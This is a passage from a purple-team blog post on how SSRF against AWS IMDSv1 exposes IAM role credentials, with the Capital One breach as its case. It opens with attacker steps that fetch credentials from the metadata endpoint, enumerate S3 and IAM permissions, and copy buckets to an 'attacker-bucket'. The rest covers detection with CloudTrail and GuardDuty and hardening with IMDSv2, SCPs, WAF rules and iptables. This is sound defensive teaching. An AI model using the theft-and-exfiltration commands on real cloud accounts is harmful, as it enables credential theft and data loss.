<p>Step-by-step, with the commands an attacker would run after recovering credentials from an SSRF:</p>
<p><strong>Step 1: Confirm the SSRF and find the metadata endpoint</strong></p>
<pre><code class="" data-line=""># Attacker sends request that causes the vulnerable server to fetch a URL
# The exact mechanism depends on the vulnerability (webhook, image URL, etc.)
# For a Capital One-style WAF SSRF, this might be a crafted HTTP header

# Test if SSRF can reach IMDS:
# Attacker controls a listener (e.g., Burp Collaborator, requestbin)
# then pivots to the metadata endpoint once SSRF is confirmed
</code></pre>
<p><strong>Step 2: Exfiltrate credentials via SSRF</strong></p>
<pre><code class="" data-line=""># Via the SSRF, the server makes this request:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name in response body

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
# → returns AccessKeyId, SecretAccessKey, Token JSON
</code></pre>
<p><strong>Step 3: Use credentials from attacker&#8217;s system</strong></p>
<pre><code class="" data-line=""># Export the stolen credentials
export AWS_ACCESS_KEY_ID=&quot;ASIAQFAKEKEYIDEXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;
export AWS_SESSION_TOKEN=&quot;FQoDYXdzEJr...==&quot;

# Confirm identity
aws sts get-caller-identity
# Output shows which account and role — confirms credentials are valid
</code></pre>
<pre><code class="" data-line="">{
    &quot;UserId&quot;: &quot;AROAQFAKEUSERID:i-01234567890abcdef0&quot;,
    &quot;Account&quot;: &quot;123456789012&quot;,
    &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot;
}
</code></pre>
<p><strong>Step 4: Enumerate and exfiltrate</strong></p>
<pre><code class="" data-line=""># List all accessible S3 buckets
aws s3 ls
# Output: all buckets the role has s3:ListBucket on

# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --recursive | head -50

# Check what IAM actions are allowed (enumerate permissions)
aws iam simulate-principal-policy \
  --policy-source-arn &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot; \
  --action-names &quot;s3:GetObject&quot; &quot;s3:PutObject&quot; &quot;ec2:DescribeInstances&quot; &quot;iam:ListRoles&quot; \
  --query &#039;EvaluationResults[?EvalDecision==`allowed`].EvalActionName&#039; \
  --output text

# Exfiltrate
aws s3 cp s3://target-bucket/ /tmp/exfil/ --recursive
# Or to attacker-controlled bucket:
aws s3 sync s3://target-bucket/ s3://attacker-bucket/
</code></pre>
<h3 id="simulating-it-safely-test-imdsv1-enforcement-on-your-own-instances">Simulating It Safely: Test IMDSv1 Enforcement on Your Own Instances</h3>
<p>Before running detection controls, confirm which of your instances are still vulnerable:</p>
<pre><code class="" data-line=""># Test 1: Can you reach IMDS at all? (run from inside the instance)
curl -s http://169.254.169.254/latest/meta-data/ --max-time 2
# If this returns a list of metadata fields, IMDS is reachable

# Test 2: Is IMDSv1 still enabled? (no token required)
curl -s http://169.254.169.254/latest/meta-data/instance-id --max-time 2
# If this returns an instance ID without supplying a token → IMDSv1 is enabled
# Example output: i-01234567890abcdef0

# Test 3: Check the enforcement state via AWS CLI (from outside the instance)
aws ec2 describe-instances \
  --instance-ids i-01234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
</code></pre>
<pre><code class="" data-line="">[
    {
        &quot;State&quot;: &quot;applied&quot;,
        &quot;HttpTokens&quot;: &quot;optional&quot;,           ← &quot;optional&quot; means IMDSv1 is still enabled
        &quot;HttpPutResponseHopLimit&quot;: 1,
        &quot;HttpEndpoint&quot;: &quot;enabled&quot;,
        &quot;HttpProtocolIpv6&quot;: &quot;disabled&quot;,
        &quot;InstanceMetadataTags&quot;: &quot;disabled&quot;
    }
]
</code></pre>
<p><code class="" data-line="">&quot;HttpTokens&quot;: &quot;optional&quot;</code> means IMDSv1 is still active. Any SSRF in the instance&#8217;s software stack can reach these credentials without a token.</p>
<pre><code class="" data-line=""># Audit all instances in a region for IMDSv1 exposure
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{
    InstanceId: InstanceId,
    Name: Tags[?Key==`Name`].Value | [0],
    HttpTokens: MetadataOptions.HttpTokens,
    HopLimit: MetadataOptions.HttpPutResponseHopLimit
  }&#039; \
  --output table | \
  grep -E &quot;optional|INSTANCE&quot;
# Any row showing &quot;optional&quot; is IMDSv1-exposed
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="what-cloudtrail-logs-when-imds-credentials-are-abused">What CloudTrail Logs When IMDS Credentials Are Abused</h3>
<p>The IMDS credential theft itself is silent — there is no CloudTrail event for an IMDS GET request. The attacker&#8217;s use of the stolen credentials is what generates logs. The key signal is <strong><code class="" data-line="">GetCallerIdentity</code> from an unusual source IP</strong> paired with the instance role&#8217;s ARN appearing in CloudTrail from an IP that is not the instance itself.</p>
<pre><code class="" data-line=""># Find API calls made using instance role credentials from external IPs
# Instance roles appear in CloudTrail as assumed-role ARNs
DETECTOR_ROLE=&quot;MyApplicationRole&quot;
INSTANCE_IP=&quot;10.0.1.50&quot;  # Your instance&#039;s known IP

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
  --start-time &quot;$(date -d &#039;7 days ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].CloudTrailEvent&#039; \
  --output text | \
  jq -r &#039;fromjson |
    select(.userIdentity.sessionContext.sessionIssuer.userName == &quot;&#039;&quot;${DETECTOR_ROLE}&quot;&#039;&quot;) |
    {
      time: .eventTime,
      event: .eventName,
      sourceIP: .sourceIPAddress,
      userAgent: .userAgent,
      region: .awsRegion,
      roleArn: .userIdentity.arn
    }&#039; | \
  jq &quot;select(.sourceIP != \&quot;${INSTANCE_IP}\&quot;)&quot;
  # Any result here = role credentials being used from outside the instance
</code></pre>
<p>The tell: the <code class="" data-line="">userIdentity.arn</code> will contain the instance ID as the role session name (e.g., <code class="" data-line="">assumed-role/MyApplicationRole/i-01234567890abcdef0</code>). If that ARN is making API calls from an IP address that is not the EC2 instance, someone has stolen the credentials and is using them externally.</p>
<h3 id="guardduty-the-purpose-built-finding">GuardDuty: The Purpose-Built Finding</h3>
<p>GuardDuty has a specific finding for exactly this scenario:</p>
<p><strong><code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS</code></strong></p>
<p>This finding fires when GuardDuty detects that temporary credentials associated with an EC2 instance role are being used from an IP address outside of AWS entirely — meaning someone has physically exfiltrated the credentials to their own system and is using them from there.</p>
<pre><code class="" data-line=""># Retrieve this specific finding type from GuardDuty
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS&quot;,
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS&quot;
        ]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    instance: .Resource.InstanceDetails.InstanceId,
    role: .Resource.AccessKeyDetails.UserName,
    externalIP: .Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,
    firstSeen: .Service.EventFirstSeen,
    lastSeen: .Service.EventLastSeen
  }&#039;
</code></pre>
<p>A second finding to watch:</p>
<p><strong><code class="" data-line="">Recon:IAMUser/UserPermissions</code></strong> — fires when the stolen credentials are used to enumerate IAM permissions (the <code class="" data-line="">iam:SimulatePrincipalPolicy</code> call from the attacker&#8217;s Step 4 above). Often appears immediately before the data exfiltration events.</p>
<h3 id="vpc-flow-logs-connections-to-169254169254">VPC Flow Logs: Connections to 169.254.169.254</h3>
<p>VPC Flow Logs do not capture traffic to the IMDS endpoint by default — but they can capture egress from EC2 instances in ways that reveal post-exploitation. More useful for IMDS abuse is querying for unexpected source IPs calling the IMDS from within the VPC:</p>
<pre><code class="" data-line=""># Athena query against VPC flow logs
# Find: connections to 169.254.169.254 from unexpected source IPs
# (useful in containerized environments where only the instance itself should call IMDS)

SELECT
  srcaddr,
  dstaddr,
  srcport,
  dstport,
  protocol,
  packets,
  bytes,
  action,
  log_status,
  from_unixtime(start) as start_time
FROM vpc_flow_logs
WHERE
  dstaddr = &#039;169.254.169.254&#039;
  AND action = &#039;ACCEPT&#039;
  AND from_unixtime(start) &gt; current_timestamp - interval &#039;24&#039; hour
ORDER BY start_time DESC;
</code></pre>
<p>If you see source IPs in this query that are not your EC2 instance&#8217;s primary private IP — for example, container IPs within the pod CIDR — and you have <code class="" data-line="">--http-put-response-hop-limit 1</code> set, those requests should be failing. If they&#8217;re succeeding, the hop limit is not enforced.</p>
<h3 id="imdsv2-hop-limit-why-it-blocks-containerized-attacks">IMDSv2 Hop Limit: Why It Blocks Containerized Attacks</h3>
<p>The hop limit is a separate defense from the token requirement. With <code class="" data-line="">--http-put-response-hop-limit 1</code>, the PUT request to obtain an IMDSv2 token has a TTL of 1. When a process running inside a container tries to reach the IMDS, the request must traverse:</p>
<pre><code class="" data-line="">Container network namespace → veth pair → host network namespace → hypervisor IMDS endpoint
</code></pre>
<p>That traversal decrements the TTL below 1, and the PUT request never reaches the IMDS endpoint. The token is never issued. The GET request that follows has no token and — if <code class="" data-line="">--http-tokens required</code> is also set — is rejected.</p>
<pre><code class="" data-line="">Hop limit = 1:
  Container → veth → [TTL=0, packet dropped]
  IMDS never receives the PUT, never issues a token

Hop limit = 2 (required for EKS with IMDS access):
  Container → veth → host → IMDS
  Token is issued; GET with token succeeds
  ← Use this only when container workloads legitimately need IMDS
</code></pre>
<p>For EKS specifically: use hop limit 2 only on nodes where pods have a legitimate need to call IMDS (rare). The preferred approach is pod-level identity via <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> — pods get short-lived tokens scoped to their service account, not the node&#8217;s IAM role.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-enforce-imdsv2-the-non-negotiable-control">Fix 1: Enforce IMDSv2 — The Non-Negotiable Control</h3>
<p>This is not optional. Every EC2 instance running production workloads should have <code class="" data-line="">--http-tokens required</code>. The operational cost is near zero; the risk reduction is complete for the SSRF-to-IMDS credential chain.</p>
<pre><code class="" data-line=""># Enforce IMDSv2 on a running instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Verify the change took effect
aws ec2 describe-instances \
  --instance-ids i-1234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
# &quot;HttpTokens&quot;: &quot;required&quot; confirms IMDSv2 is enforced
</code></pre>
<pre><code class="" data-line=""># Enforce IMDSv2 in a launch template (all new instances launched from this template)
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abcdef1234567890 \
  --source-version &#039;$Latest&#039; \
  --launch-template-data &#039;{
    &quot;MetadataOptions&quot;: {
      &quot;HttpTokens&quot;: &quot;required&quot;,
      &quot;HttpPutResponseHopLimit&quot;: 1,
      &quot;HttpEndpoint&quot;: &quot;enabled&quot;
    }
  }&#039;

# Set this new version as the default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abcdef1234567890 \
  --default-version &#039;$Latest&#039;
</code></pre>
<pre><code class="" data-line=""># Bulk remediation: enforce IMDSv2 on all instances in a region where
# HttpTokens is currently &quot;optional&quot;
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens==`optional`].InstanceId&#039; \
  --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read instance_id; do
    echo &quot;Enforcing IMDSv2 on: $instance_id&quot;
    aws ec2 modify-instance-metadata-options \
      --instance-id &quot;$instance_id&quot; \
      --http-tokens required \
      --http-put-response-hop-limit 1
  done
</code></pre>
<h3 id="fix-2-scp-to-block-imdsv1-org-wide">Fix 2: SCP to Block IMDSv1 Org-Wide</h3>
<p>An SCP prevents any account in your organization from launching instances with IMDSv1 enabled, and blocks modification of existing instances to re-enable it. This is the org-level control that makes IMDSv2 enforcement durable — individual account teams can&#8217;t accidentally revert it.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RequireIMDSv2OnNewInstances&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
      &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;
        }
      }
    },
    {
      &quot;Sid&quot;: &quot;DenyIMDSv1ReEnablement&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:ModifyInstanceMetadataOptions&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;optional&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>Apply this SCP to all OUs except the management account. New <code class="" data-line="">ec2:RunInstances</code> calls that don&#8217;t include <code class="" data-line="">MetadataOptions.HttpTokens=required</code> will be denied. Existing instances can be remediated with the bulk script above; once remediated, the second statement prevents reverting.</p>
<h3 id="fix-3-oidc-workload-identity-eliminate-the-credential-entirely">Fix 3: OIDC Workload Identity — Eliminate the Credential Entirely</h3>
<p>Enforcing IMDSv2 removes the SSRF-to-IMDS path. <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> removes the entire credential from the picture — there is no long-lived IAM role credential attached to the instance, so there is nothing for SSRF to retrieve.</p>
<p>For Kubernetes workloads on EKS: use IAM Roles for Service Accounts (IRSA) or EKS Pod Identity. The pod&#8217;s service account is bound to an IAM role via OIDC. The pod gets short-lived, automatically rotated credentials scoped to that specific role. The node&#8217;s instance profile requires no IAM permissions for application workloads.</p>
<pre><code class="" data-line=""># EKS Pod Identity: associate a service account with an IAM role
aws eks create-pod-identity-association \
  --cluster-name my-cluster \
  --namespace my-app \
  --service-account my-app-sa \
  --role-arn arn:aws:iam::123456789012:role/my-app-role

# The pod receives credentials via a projected volume token, not IMDS
# Even if an attacker gets SSRF inside the pod, IMDS has no useful credentials for them
# The most they get: instance metadata (instance ID, AMI, AZ) — not IAM credentials
</code></pre>
<h3 id="fix-4-restrict-ssrf-at-the-network-and-application-layer">Fix 4: Restrict SSRF at the Network and Application Layer</h3>
<p>IMDSv2 enforcement is the primary control. Defence in depth adds:</p>
<pre><code class="" data-line=""># WAF rule (AWS WAF): block requests where the URL contains the IMDS address
# This catches simple SSRF attempts at the perimeter before they reach your app
# Deploy as a managed rule group or custom rule:

# AWS CLI: create a WAF rule to block IMDS-targeting SSRFs
aws wafv2 create-rule-group \
  --name &quot;BlockSSRFToIMDS&quot; \
  --scope REGIONAL \
  --capacity 10 \
  --rules &#039;[
    {
      &quot;Name&quot;: &quot;BlockIMDSAccess&quot;,
      &quot;Priority&quot;: 0,
      &quot;Statement&quot;: {
        &quot;ByteMatchStatement&quot;: {
          &quot;SearchString&quot;: &quot;169.254.169.254&quot;,
          &quot;FieldToMatch&quot;: {&quot;QueryString&quot;: {}},
          &quot;TextTransformations&quot;: [{&quot;Priority&quot;: 0, &quot;Type&quot;: &quot;NONE&quot;}],
          &quot;PositionalConstraint&quot;: &quot;CONTAINS&quot;
        }
      },
      &quot;Action&quot;: {&quot;Block&quot;: {}},
      &quot;VisibilityConfig&quot;: {
        &quot;SampledRequestsEnabled&quot;: true,
        &quot;CloudWatchMetricsEnabled&quot;: true,
        &quot;MetricName&quot;: &quot;BlockIMDSAccess&quot;
      }
    }
  ]&#039; \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=BlockSSRFToIMDS
</code></pre>
<pre><code class="" data-line=""># Egress filtering: block EC2 instances from making outbound requests
# to the IMDS address from application code (defense in depth via iptables)
# This only applies if your application runs as a non-root user
# Root processes bypass this — it is a secondary control, not primary

# On the EC2 instance, block application user (uid 1001) from reaching IMDS
iptables -A OUTPUT \
  -m owner --uid-owner 1001 \
  -d 169.254.169.254 \
  -j REJECT \
  --reject-with icmp-port-unreachable

# Only the instance&#039;s AWS SDK calls (typically running as a system service with different uid)
# should need IMDS access — scope accordingly
</code></pre>
<p>Note: iptables-based egress filtering is a secondary control. A root process, or any process with <code class="" data-line="">CAP_NET_ADMIN</code>, can bypass or modify these rules. The primary control remains IMDSv2 enforcement.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legacy AWS SDK versions that only support IMDSv1.</strong> AWS SDK for Java v1 and Python (boto3 &lt; 1.9.220) do not support IMDSv2 by default. Enforcing <code class="" data-line="">--http-tokens required</code> on an instance running a legacy SDK will break credential refresh for the running application. Before enforcing IMDSv2 on a running instance, verify the SDK version used by all processes that call IMDS. Upgrade the SDK if needed; then enforce IMDSv2. The AWS Config rule <code class="" data-line="">ec2-imdsv2-check</code> flags non-compliant instances but does not check SDK versions — that inventory step is manual.</p>
<pre><code class="" data-line=""># Check boto3 version on an instance
python3 -c &quot;import boto3; print(boto3.__version__)&quot;
# Requires &gt;= 1.9.220 for IMDSv2 support

# Check AWS SDK for Java via jar manifest (if applicable)
find /opt /app -name &quot;aws-java-sdk-core-*.jar&quot; 2&gt;/dev/null | \
  while read jar; do
    unzip -p &quot;$jar&quot; META-INF/MANIFEST.MF 2&gt;/dev/null | grep &quot;Implementation-Version&quot;
  done
# AWS SDK for Java v1 &lt; 1.11.678 does not support IMDSv2 by default
</code></pre>
<p><strong>EKS node groups and hop limit 2.</strong> If you run EKS and pods need to use IRSA (IAM Roles for Service Accounts), the pods themselves do not use IMDS — they use a projected service account token. You should be safe with hop limit 1 on EKS nodes in most cases. However, if you have DaemonSets or system components that fetch instance metadata directly (some cluster autoscaler versions, node monitoring agents), hop limit 1 will break them. Audit which processes on your nodes actually call IMDS before setting hop limit 1 on EKS. The <code class="" data-line="">aws eks create-managed-node-group</code> default is hop limit 2 for this reason; you can reduce it once you&#8217;ve confirmed nothing breaks.</p>
<p><strong>GuardDuty&#8217;s 5–15 minute detection delay.</strong> <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> is not a real-time control. GuardDuty aggregates events and applies ML-based anomaly detection — the finding typically appears 5 to 15 minutes after the first anomalous API call. A credential with broad S3 permissions can exfiltrate a significant volume of data in that window. GuardDuty detects the breach; it does not prevent the initial exfiltration. Pair it with: IAM permission boundaries that scope the blast radius, and S3 data events in CloudTrail with real-time EventBridge rules for high-sensitivity buckets.</p>
<pre><code class="" data-line=""># EventBridge rule: alert immediately on S3 data events from unexpected sources
# (complements GuardDuty&#039;s delayed finding)
aws events put-rule \
  --name &quot;S3DataEventFromUnexpectedSource&quot; \
  --event-pattern &#039;{
    &quot;source&quot;: [&quot;aws.s3&quot;],
    &quot;detail-type&quot;: [&quot;AWS API Call via CloudTrail&quot;],
    &quot;detail&quot;: {
      &quot;eventSource&quot;: [&quot;s3.amazonaws.com&quot;],
      &quot;eventName&quot;: [&quot;GetObject&quot;],
      &quot;userIdentity&quot;: {
        &quot;sessionContext&quot;: {
          &quot;sessionIssuer&quot;: {
            &quot;userName&quot;: [&quot;MyApplicationRole&quot;]
          }
        }
      }
    }
  }&#039; \
  --state ENABLED
</code></pre>
<p><strong>Disabling the IMDS endpoint entirely.</strong> You can set <code class="" data-line="">--http-endpoint disabled</code> to turn off IMDS access altogether. Do this only on instances where you are certain no running process needs instance metadata. ECS and EKS managed nodes need IMDS for node registration and credential delivery to the container agent. Application-only EC2 instances that use OIDC/IRSA and have no SDK calls to IMDS are candidates for full endpoint disablement.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<h3 id="imdsv1-vs-imdsv2">IMDSv1 vs IMDSv2</h3>
<table>
<thead>
<tr>
<th>Attribute</th>
<th>IMDSv1</th>
<th>IMDSv2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authentication</td>
<td>None — any HTTP GET works</td>
<td>PUT to <code class="" data-line="">/latest/api/token</code> required first to obtain a session token</td>
</tr>
<tr>
<td>SSRF exploitable</td>
<td>Yes — one HTTP request returns credentials</td>
<td>No — SSRF cannot initiate a PUT before a GET in standard flows</td>
</tr>
<tr>
<td>Session token TTL</td>
<td>N/A</td>
<td>1 second to 21,600 seconds (configurable)</td>
</tr>
<tr>
<td>Hop limit enforcement</td>
<td>N/A</td>
<td>Enforced on PUT — TTL=1 blocks containers from reaching IMDS</td>
</tr>
<tr>
<td>AWS CLI enforcement</td>
<td><code class="" data-line="">--http-tokens optional</code> (default on old instances)</td>
<td><code class="" data-line="">--http-tokens required</code></td>
</tr>
<tr>
<td>Capital One risk</td>
<td>Present</td>
<td>Eliminated</td>
</tr>
</tbody>
</table>
<h3 id="imdsv2-enforcement-commands-by-provider">IMDSv2 Enforcement Commands by Provider</h3>
<table>
<thead>
<tr>
<th>Provider</th>
<th>Enforcement Command</th>
<th>Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>AWS — running instance</strong></td>
<td><code class="" data-line="">aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required --http-put-response-hop-limit 1</code></td>
<td>Single instance</td>
</tr>
<tr>
<td><strong>AWS — launch template</strong></td>
<td>Add <code class="" data-line="">&quot;MetadataOptions&quot;: {&quot;HttpTokens&quot;: &quot;required&quot;}</code> to launch template data</td>
<td>All instances from template</td>
</tr>
<tr>
<td><strong>AWS — org SCP</strong></td>
<td>Deny <code class="" data-line="">ec2:RunInstances</code> where <code class="" data-line="">ec2:MetadataHttpTokens != required</code></td>
<td>All accounts in org</td>
</tr>
<tr>
<td><strong>AWS — Config rule</strong></td>
<td><code class="" data-line="">ec2-imdsv2-check</code> managed rule</td>
<td>Compliance audit</td>
</tr>
<tr>
<td><strong>GCP</strong></td>
<td>GCP does not have an unauthenticated IMDS equivalent; Metadata Server requires <code class="" data-line="">Metadata-Flavor: Google</code> header — this header cannot be set via SSRF in most frameworks</td>
<td>N/A</td>
</tr>
<tr>
<td><strong>Azure</strong></td>
<td>Azure IMDS requires <code class="" data-line="">Metadata: true</code> header — browser/SSRF requests typically cannot set this; additionally, IMDS returns only non-credential metadata by default (credentials via Managed Identity have their own endpoint with additional controls)</td>
<td>N/A</td>
</tr>
</tbody>
</table>
<blockquote>
<p><strong>Note on GCP and Azure:</strong> Both providers designed their metadata services with SSRF resistance in mind. The <code class="" data-line="">Metadata-Flavor: Google</code> and <code class="" data-line="">Metadata: true</code> headers must be explicitly set by the calling code — they are not added by default browser or curl requests. This does not make SSRF harmless on GCP/Azure (other metadata is still exposed), but the credential exfiltration path is harder than IMDSv1.</p>
</blockquote>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>IMDSv1 has no authentication</strong>: any SSRF in any process running on an EC2 instance — application code, WAF, sidecar, proxy — is sufficient to retrieve the full IAM role credentials; no privilege escalation required</li>
<li>The Capital One breach was not a novel attack: it was a well-known SSRF-to-IMDS chain that had been documented for years before 2019; the industry was slow to enforce IMDSv2 at scale</li>
<li><code class="" data-line="">--http-tokens required</code> is the complete fix for the SSRF-to-IMDS credential chain; the operational cost is near zero; every production EC2 instance should have it; use an SCP to make it org-wide and durable</li>
<li>GuardDuty&#8217;s <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> finding is your primary post-exploitation signal but fires 5–15 minutes after the fact — pair it with IAM permission boundaries to limit blast radius and EventBridge rules on S3 data events for real-time alerting</li>
<li>The structural solution eliminates the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> on EKS/GKE means pods get scoped, short-lived tokens; the node&#8217;s instance role carries no application permissions; even a successful SSRF-to-IMDS attack yields nothing useful</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SSRF gets you IAM credentials. But if the attacker is already inside a container — even a legitimate one — the path to the host is different. The credential-theft chain doesn&#8217;t apply when the attacker already has code execution inside a pod. EP08 covers Kubernetes container escape: <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, privileged containers, and the kernel-level paths that take an attacker from container to node. The detection angle is where eBPF enters the picture — syscall-level visibility that catches escape attempts before they complete.</p>
<p>Get EP08 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&#038;title=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" data-a2a-url="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/" data-a2a-title="SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach"></a></p><p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1861</post-id>	</item>
		<item>
		<title>CI/CD Secrets Exposure: How Supply Chain Attacks Target Your Pipeline</title>
		<link>https://linuxcent.com/cicd-secrets-exposure-supply-chain/</link>
					<comments>https://linuxcent.com/cicd-secrets-exposure-supply-chain/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 16 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[CI/CD]]></category>
		<category><![CDATA[CircleCI]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[GitHub Actions]]></category>
		<category><![CDATA[Secrets Management]]></category>
		<category><![CDATA[Supply Chain Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1858</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>CI/CD secrets exposure is structural, not behavioral. How CircleCI and GitHub Actions breaches happened and how pre-commit hooks plus secrets scanning close the path permanently.</p>
<p>The post <a href="https://linuxcent.com/cicd-secrets-exposure-supply-chain/">CI/CD Secrets Exposure: How Supply Chain Attacks Target Your Pipeline</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
